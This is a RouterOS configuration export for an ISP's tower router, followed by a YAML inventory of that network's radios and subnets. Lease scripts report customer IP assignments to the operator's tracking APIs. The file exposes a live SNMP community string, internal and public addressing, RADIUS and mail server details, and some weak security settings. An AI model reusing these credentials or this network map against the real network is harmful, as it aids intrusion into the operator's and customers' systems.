\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
or \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (gaiia)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
\$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" remote-address=cgnat use-upnp=no
/queue type
add kind=pcq name=delinquent_download pcq-classifier=dst-address \
pcq-dst-address6-mask=64 pcq-rate=64k pcq-src-address6-mask=64 \
pcq-total-limit=250000KiB
add kind=pcq name=delinquent_upload pcq-classifier=src-address \
pcq-dst-address6-mask=64 pcq-rate=64k pcq-src-address6-mask=64 \
pcq-total-limit=250000KiB
add kind=fq-codel name=fq-codel
/queue interface
set combo1 queue=fq-codel
set ether1 queue=fq-codel
set ether2-380 queue=fq-codel
set ether3-lowrycrossing-old queue=fq-codel
set ether4 queue=fq-codel
set ether5-switch queue=fq-codel
set ether6-lowrycrossing queue=fq-codel
set ether7-tower queue=fq-codel
set sfp-sfpplus1-edgepoint queue=fq-codel
/routing bgp template
set default as=393837 disabled=yes output.network=bgp-networks .redistribute=\
connected
/routing id
add disabled=no id=10.254.254.108 name=id-1 select-dynamic-id=""
/routing ospf instance
add disabled=no in-filter-chain=ospf-in name=default-v2 out-filter-chain=\
ospf-out redistribute=connected,rip router-id=id-1
add disabled=no in-filter-chain=ospf-in name=default-v3 out-filter-chain=\
ospf-out router-id=id-1 version=3
/routing ospf area
add disabled=no instance=default-v2 name=backbone-v2
add disabled=no instance=default-v3 name=backbone-v3
/snmp community
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
kdyyJrT0Mm
/system logging action
set 3 remote=10.240.1.250 src-address=10.254.254.108
add name=logs remote=204.110.191.229 src-address=10.254.254.108 target=remote
/interface bridge port
add bridge=bridge_cpe_mgmt ingress-filtering=no interface=mgmt_ether5 \
internal-path-cost=10 path-cost=10
add bridge=bridge_cpe_mgmt ingress-filtering=no interface=mgmt_sfp+ \
internal-path-cost=10 path-cost=10
add bridge=newhope ingress-filtering=no interface=combo1 internal-path-cost=\
10 path-cost=10
add bridge=newhope interface=ether5-switch
add bridge=newhope interface=sfp-sfpplus1-edgepoint
/ip firewall connection tracking
set icmp-timeout=30s tcp-close-wait-timeout=1m tcp-established-timeout=4h \
tcp-fin-wait-timeout=2m tcp-last-ack-timeout=30s \
tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
tcp-time-wait-timeout=2m udp-stream-timeout=2m
/ip settings
set tcp-syncookies=yes
/interface pppoe-server server
add authentication=mschap2 default-profile=newhope disabled=no interface=\
newhope max-mru=1492 max-mtu=1492 one-session-per-host=yes service-name=\
newhope
/interface sstp-server server
set certificate=vntx.net.pem_0
/ip address
add address=10.254.254.108 interface=lo network=10.254.254.108
add address=10.250.1.110/29 interface=ether6-lowrycrossing network=\
10.250.1.104
add address=10.10.143.254/20 interface=bridge_cpe_mgmt network=10.10.128.0
add address=100.64.19.254/22 interface=sfp-sfpplus1-edgepoint network=\
100.64.16.0
add address=204.110.188.190/27 interface=sfp-sfpplus1-edgepoint network=\
204.110.188.160
add address=10.250.1.57/29 interface=ether2-380 network=10.250.1.56
add address=10.0.108.254/24 interface=ether7-tower network=10.0.108.0
/ip dhcp-client
add add-default-route=no disabled=yes interface=ether1
/ip dhcp-relay
add dhcp-server=38.86.38.250 interface=*A local-address=10.254.254.108 name=\
relay1
/ip dhcp-server
add address-pool=cgnat dhcp-option-set=vntx interface=newhope lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n :if (\$leaseBound = 0) do {\
\n # Try url2 (iptrack.vntx.net) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
t for \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n # Try url (gaiia) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
or \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 3s;\
\n }\
\n } else {\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n # Try url2 (iptrack.vntx.net) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
;\
\n }\
\n\
\n # Try url (gaiia) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 30s;\
\n }\
\n }\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" lease-time=1h name=newhope
/ip dhcp-server lease
add address=100.64.19.250 mac-address=0C:73:EB:B0:BB:5B server=newhope
add address=100.64.19.252 client-id=1:dc:2c:6e:b4:77:0 mac-address=\
DC:2C:6E:B4:77:00 server=newhope
add address=100.64.19.251 mac-address=74:AC:B9:A3:E0:5C
/ip dhcp-server network
add address=10.0.108.0/24 dns-server=204.110.191.240,204.110.191.20 gateway=\
10.0.108.254 ntp-server=204.110.191.19
add address=10.10.128.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=10.10.143.254 ntp-server=204.110.191.19
add address=100.64.16.0/22 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=100.64.19.254 ntp-server=204.110.191.19
add address=204.110.188.160/27 dns-server=204.110.191.240,204.110.191.20 \
domain=vntx.net gateway=204.110.188.190 ntp-server=204.110.191.19
/ip dhcp-server option sets
add name=vntx options=*1
/ip dns
set servers=9.9.9.9,1.1.1.1
/ip firewall filter
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=\
ether6-lowrycrossing
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether6-lowrycrossing
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=ether2-380
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether2-380
add action=fasttrack-connection chain=forward comment=\
"fasttrack established/related" connection-state=established,related
add action=accept chain=forward comment="accept established/related" \
connection-state=established,related
/ip firewall nat
add action=masquerade chain=srcnat src-address=10.0.108.0/24
/ip hotspot ip-binding
add address=100.64.19.251 type=bypassed
add address=100.64.19.250 type=bypassed
add address=204.110.188.0/24
add address=100.64.19.253 type=bypassed
add address=100.64.19.254 type=bypassed
add address=100.64.0.0/10
add address=10.100.128.1-10.100.142.254
add address=10.100.143.0/24 type=bypassed
add address=0.0.0.0/0 type=blocked
/ip hotspot user
add name=admin
/ip hotspot walled-garden
add comment="place hotspot rules here" disabled=yes
add comment="place hotspot rules here" disabled=yes
/ip hotspot walled-garden ip
add action=accept disabled=no dst-address=204.110.191.195 !dst-address-list \
!dst-port !protocol !src-address !src-address-list
add action=accept disabled=no dst-address=204.110.191.207 !dst-address-list \
!dst-port !protocol !src-address !src-address-list
add action=accept disabled=no !dst-address !dst-address-list dst-host=\
provision.vntx.net !dst-port !protocol !src-address !src-address-list
/ip ipsec policy
set 0 dst-address=0.0.0.0/0 src-address=0.0.0.0/0
/ip ipsec profile
set [ find default=yes ] dh-group=modp2048 dpd-interval=2m \
dpd-maximum-failures=5 enc-algorithm=aes-256,aes-128 hash-algorithm=\
sha256
/ip proxy
set cache-path=web-proxy1 port=33443
/ip route
add disabled=no dst-address=0.0.0.0/0 gateway=10.250.1.62
add disabled=yes dst-address=0.0.0.0/0 gateway=10.250.1.105
add disabled=no dst-address=10.254.254.109/32 gateway=10.250.1.105 \
routing-table=main
add disabled=no dst-address=204.110.188.192/27 gateway=10.250.1.105 \
routing-table=main
add disabled=no dst-address=100.64.20.0/22 gateway=10.250.1.105 \
routing-table=main
add disabled=no dst-address=10.10.144.0/20 gateway=10.250.1.105 \
routing-table=main
/ip service
set ftp address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set www address=204.110.188.0/22,10.0.0.0/8 disabled=yes port=81
set www-ssl address=204.110.188.0/22,10.0.0.0/8 certificate=vntx.net.pem_0
set ssh address=204.110.188.0/22,10.0.0.0/8 port=1022
set winbox address=204.110.188.0/22,10.0.0.0/8
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
set api-ssl certificate=vntx.net.pem_0
/ip ssh
set host-key-type=ed25519 password-authentication=yes strong-crypto=yes
/ip traffic-flow
set cache-entries=256k enabled=yes
/ipv6 address
add address=2606:1c80:0:1001::2 interface=ether2-380
/ipv6 dhcp-server
add disabled=yes interface=sfp-sfpplus1-edgepoint name=server1 prefix-pool=\
newhope-v6
/mpls interface
add interface=ether2-380 mpls-mtu=1508
add interface=ether6-lowrycrossing mpls-mtu=1508
/mpls ldp
add disabled=no lsr-id=10.254.254.108 transport-addresses=10.254.254.108 vrf=\
main
/mpls ldp interface
add interface=ether2-380
add interface=ether6-lowrycrossing
/ppp aaa
set interim-update=1h use-radius=yes
/radius
add address=204.110.191.248 require-message-auth=no service=ppp,hotspot,dhcp \
src-address=204.110.188.190 timeout=3s
add address=204.110.191.2 require-message-auth=no service=ppp,hotspot,dhcp \
src-address=204.110.188.190 timeout=3s
add accounting-backup=yes address=45.76.56.5 require-message-auth=no service=\
ppp,hotspot,dhcp src-address=204.110.188.190 timeout=3s
/radius incoming
set accept=yes
/routing bfd configuration
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
/routing filter rule
add chain=ospf-in disabled=no rule="accept;"
add chain=ospf-out disabled=no rule="accept;"
add chain=bgp-in disabled=no rule="accept;"
add chain=bgp-out disabled=no rule="accept;"
/routing ospf interface-template
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
ether4 priority=1 type=ptp use-bfd=yes
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
ether6-lowrycrossing priority=1 type=ptp use-bfd=yes
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
ether2-380 priority=1 type=ptp use-bfd=yes
add area=backbone-v3 cost=10 disabled=no priority=1 use-bfd=no
add area=backbone-v2 disabled=no passive
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=ether4 \
type=ptp
add area=backbone-v3 auth=sha512 auth-id=1 disabled=yes interfaces=ether2-380 \
type=ptp
/routing rip static-neighbor
add address="" disabled=no instance=*1
/snmp
set contact=graham@vntx.net enabled=yes location="33.207391, -96.537840"
/system clock
set time-zone-name=America/Chicago
/system identity
set name=NewHope
/system logging
add action=logs topics=info
add disabled=yes topics=!debug,!dns,!snmp,!hotspot
/system note
set note="__ __\
\n\\ \\ / /__ _ __ ___ _ __ __ _\
\n \\ \\ / / _ \\ '__/ _ \\| '_ \\ / _` |\
\n \\ V / __/ | | (_) | | | | (_| |\
\n \\_/ \\___|_| \\___/|_| |_|\\__,_|\
\n _ _ _ _\
\n| \\ | | ___| |___ _____ _ __| | _____\
\n| \\| |/ _ \\ __\\ \\ /\\ / / _ \\| '__| |/ / __|\
\n| |\\ | __/ |_ \\ V V / (_) | | | <\\__ \\\
\n|_| \\_|\\___|\\__| \\_/\\_/ \\___/|_| |_|\\_\\___/\
\n\
\n###############################################################\
\n# Welcome to Verona Networks #\
\n# All connections are monitored and recorded #\
\n# Disconnect IMMEDIATELY if you are not an authorized user! #\
\n###############################################################\
\n\
\n" show-at-login=no
/system ntp client
set enabled=yes
/system ntp client servers
add address=ntp.vntx.net
add address=0.us.pool.ntp.org
/system package update
set channel=long-term
/system routerboard settings
# Firmware upgraded successfully, please reboot for changes to take effect!
set auto-upgrade=yes
/system scheduler
add interval=5m name=remove_hotspot on-event=\
"/ip hotspot host remove [/ip hotspot host find where !authorized]" \
policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive \
start-time=startup
add name=reboot on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
2025-01-21 start-time=03:25:00
add interval=1d name="disable proxy" on-event="/ip proxy set enabled=no\r\
\n" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=2020-04-11 start-time=04:00:00
/system script
add dont-require-permissions=no name=backup owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive source="/export\
\_file=backup.rsc\
\n\
\n;\r\
\n/tool e-mail send to=\"graham@vntx.net\" subject=(\"mtik backup \" . [/s\
ystem identity get name]) file=backup.rsc;\r\
\n\
\n:log info \"Backup email sent.\";\
\n"
add dont-require-permissions=no name=rogue-dhcp owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=\
":log warning message=\"Rogue DHCP server detected!\""
/system watchdog
set auto-send-supout=yes ping-start-after-boot=1h send-email-from=\
support@vntx.net send-email-to=graham@vntx.net send-smtp-server=\
204.110.191.236 watchdog-timer=no
/tool e-mail
set certificate-verification=no from=NewHope@vntx.net server=\
smtp.sendgrid.net tls=starttls user=veronanetworks
/tool graphing interface
add
/tool graphing queue
add
/tool graphing resource
add

316
mikrotik-tool/radios.yaml Normal file
View file

@ -0,0 +1,316 @@
# Wireless devices and customer subnet info per tower:
# - access_points: customer-facing APs in the top /24 of the router's
# 10.10.x.0/20 mgmt subnet (per /Users/graham/dev/network/CLAUDE.md:
# "for subnet X.Y.Z.0/20, APs are in X.Y.(Z+15).0/24").
# - backhaul_radios: tower-to-tower link radios with a managed IP in
# the link's 10.250.1.x/29 subnet. Site assignment uses the
# "closest IP to this site's router IP" rule.
# - cgnat_subnet: the customer CGNAT (RFC 6598) /20 or /22 the router
# hands to PPPoE clients, with the router's gateway IP.
#
# Names are the actual SNMP `sysName.0` (1.3.6.1.2.1.1.5.0) values
# pulled with the `kdyyJrT0Mm` community. Most radios only respond to
# SNMP v1; some also accept v2c. Casing/spacing is preserved as-is from
# the radio (e.g. "Climax NW" has two spaces, "lowry nw" is lowercase
# — that's the actual configured hostname on the device).
#
# Last refreshed: 2026-05-07.
sites:
verona:
router: 10.254.254.101
mgmt_subnet: 10.10.0.0/20
cgnat_subnets:
- {subnet: 100.64.0.0/22, gateway: 100.64.3.254}
- {subnet: 100.64.12.0/22, gateway: 100.64.15.254}
- {subnet: 100.64.0.10/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.16/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.17/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.18/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.23/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.11/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.26/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.22/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.21/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.48/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.34/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.20/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.25/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.40/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.41/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.27/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.51/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.39/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.14/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.42/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.32/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.29/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.30/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.44/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.24/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.7/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.15/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.6/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.37/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.31/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.45/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.53/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.28/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.12/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.13/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.5/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.8/32, gateway: 100.64.15.253}
- {subnet: 100.64.0.56/32, gateway: 100.64.15.253}
access_points:
- {ip: 10.10.15.1, mac: "70:A7:41:4C:A2:E7", name: "Verona 5AC Horn W"}
- {ip: 10.10.15.2, mac: "AC:8B:A9:C4:4C:F0", name: "Verona 5AC Horn NW"}
- {ip: 10.10.15.11, mac: "78:45:58:A2:EC:E4", name: "Verona NW"}
- {ip: 10.10.15.12, mac: "78:45:58:A2:EC:6F", name: "Verona NE"}
- {ip: 10.10.15.13, mac: "70:A7:41:4C:D5:16", name: "Verona S"}
backhaul_radios:
- {ip: 10.250.1.26, mac: "7A:8A:20:5F:48:AA", name: "verona to climax", link: "verona<->climax AF11"}
altoga:
parent_router: 10.254.254.101
mgmt_subnet: 10.10.80.0/20
access_points:
- {ip: 10.10.95.20, mac: "04:18:D6:4C:BD:D3", name: "Altoga SW"}
- {ip: 10.10.95.21, mac: "AC:8B:A9:C4:57:5F", name: "Altoga East"}
- {ip: 10.10.95.22, mac: "70:A7:41:4C:A3:84", name: "Altoga North"}
climax:
router: 10.254.254.102
mgmt_subnet: 10.10.16.0/20
cgnat_subnets:
- {subnet: 100.64.4.0/22, gateway: 100.64.7.254}
- {subnet: 100.64.7.234/32, gateway: 100.64.7.235}
- {subnet: 100.64.7.206/32, gateway: 100.64.7.207}
- {subnet: 100.64.7.200/32, gateway: 100.64.7.188}
- {subnet: 100.64.7.95/32, gateway: 100.64.7.219}
- {subnet: 100.64.7.39/32, gateway: 100.64.7.27}
- {subnet: 100.64.7.51/32, gateway: 100.64.7.29}
- {subnet: 100.64.7.52/32, gateway: 100.64.7.217}
- {subnet: 100.64.7.53/32, gateway: 100.64.7.212}
- {subnet: 100.64.7.54/32, gateway: 100.64.7.76}
- {subnet: 100.64.7.93/32, gateway: 100.64.7.7}
- {subnet: 100.64.7.204/32, gateway: 100.64.7.115}
- {subnet: 100.64.7.48/32, gateway: 100.64.7.9}
- {subnet: 100.64.7.59/32, gateway: 100.64.7.41}
- {subnet: 100.64.7.63/32, gateway: 100.64.7.49}
- {subnet: 100.64.7.169/32, gateway: 100.64.7.97}
- {subnet: 100.64.7.223/32, gateway: 100.64.7.30}
- {subnet: 100.64.7.227/32, gateway: 100.64.7.46}
- {subnet: 100.64.7.247/32, gateway: 100.64.7.2}
- {subnet: 100.64.7.244/32, gateway: 100.64.7.13}
- {subnet: 100.64.7.144/32, gateway: 100.64.7.25}
- {subnet: 100.64.7.198/32, gateway: 100.64.7.16}
- {subnet: 100.64.4.1/32, gateway: 100.64.7.186}
- {subnet: 100.64.7.90/32, gateway: 100.64.7.12}
- {subnet: 100.64.7.133/32, gateway: 100.64.7.8}
- {subnet: 100.64.7.145/32, gateway: 100.64.7.14}
- {subnet: 100.64.7.62/32, gateway: 100.64.7.3}
- {subnet: 100.64.7.184/32, gateway: 100.64.7.10}
- {subnet: 100.64.7.21/32, gateway: 100.64.7.36}
- {subnet: 100.64.7.250/32, gateway: 100.64.7.5}
- {subnet: 100.64.7.55/32, gateway: 100.64.7.1}
- {subnet: 100.64.7.249/32, gateway: 100.64.7.4}
access_points:
- {ip: 10.10.31.11, mac: "F4:92:BF:BE:73:CD", name: "Climax NW"}
- {ip: 10.10.31.12, mac: "00:27:22:28:5F:A1", name: "Climax 5.8n NE"}
- {ip: 10.10.31.13, mac: "80:2A:A8:FC:1D:AE", name: "Climax South"}
- {ip: 10.10.31.30, mac: "00:04:56:D5:03:74", name: "Climax NW"}
- {ip: 10.10.31.31, mac: "00:04:56:23:DD:02", name: "climax ne"}
- {ip: 10.10.31.40, mac: "00:27:22:02:C6:3D", name: "PR 900E"}
backhaul_radios:
- {ip: 10.250.1.29, mac: "1A:E8:29:1E:52:16", name: "climax to verona", link: "verona<->climax AF11"}
- {ip: 10.250.1.93, mac: "82:2A:A8:CF:A6:6A", name: "Climax-380 AF24", link: "climax<->core AF24"}
culleoka:
router: 10.254.254.104
mgmt_subnet: 10.10.96.0/20
cgnat_subnets:
- {subnet: 100.64.24.0/22, gateway: 100.64.27.254}
- {subnet: 100.64.25.6/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.7/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.9/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.11/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.12/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.13/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.14/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.15/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.17/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.18/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.19/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.28/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.49/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.3/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.29/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.31/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.42/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.61/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.16/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.20/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.47/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.36/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.33/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.46/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.53/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.32/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.26/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.48/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.22/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.25/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.24/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.10/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.30/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.43/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.45/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.21/32, gateway: 100.64.27.253}
- {subnet: 100.64.25.27/32, gateway: 100.64.27.253}
access_points:
- {ip: 10.10.111.1, mac: "78:45:58:A0:03:F3", name: "Culleoka SW AC-1"}
- {ip: 10.10.111.2, mac: "78:45:58:A0:03:FC", name: "Culleoka SW AC2"}
- {ip: 10.10.111.11, mac: "78:45:58:A2:EC:F9", name: "Culleoka SE"}
- {ip: 10.10.111.12, mac: "78:45:58:A2:A9:0A", name: "Culleoka sw 120"}
- {ip: 10.10.111.14, mac: "44:D9:E7:A8:58:C9", name: "Culleoka North UBNT"}
- {ip: 10.10.111.30, mac: "00:04:56:D7:AD:0A", name: "culleoka epmp N"}
- {ip: 10.10.111.32, mac: "00:04:56:D7:A9:86", name: "Culleoka ePMP SW"}
- {ip: 10.10.111.33, mac: "58:C1:7A:73:BF:9E", name: "Culleoka NE"}
- {ip: 10.10.111.34, mac: "58:C1:7A:71:C5:25", name: "Culleoka ePMP SE"}
- {ip: 10.10.111.35, mac: "58:C1:7A:75:46:6E", name: "Culleoka ePMP NW"}
- {ip: 10.10.111.50, mac: "DC:9F:DB:6E:A6:24", name: "Clayton Estates AP "}
- {ip: 10.10.111.60, mac: "44:D9:E7:5A:A8:0E", name: "clayton to culleoka"}
- {ip: 10.10.111.61, mac: "78:8A:20:EC:76:DC", name: "culleoka to clayton"}
backhaul_radios:
- {ip: 10.250.1.10, mac: "7A:8A:20:5F:49:7A", name: null, link: "climax<->culleoka AF11 (disabled)"}
- {ip: 10.250.1.50, mac: "1A:E8:29:1E:B1:EA", name: "Culleoka to 380 11g", link: "culleoka<->core AF11"}
newhope:
router: 10.254.254.108
mgmt_subnet: 10.10.128.0/20
cgnat_subnets:
- {subnet: 100.64.16.0/22, gateway: 100.64.19.254}
- {subnet: 100.64.19.20/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.19/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.18/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.17/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.16/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.15/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.13/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.12/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.9/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.8/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.7/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.6/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.5/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.3/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.10/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.14/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.4/32, gateway: 100.64.19.253}
- {subnet: 100.64.19.11/32, gateway: 100.64.19.253}
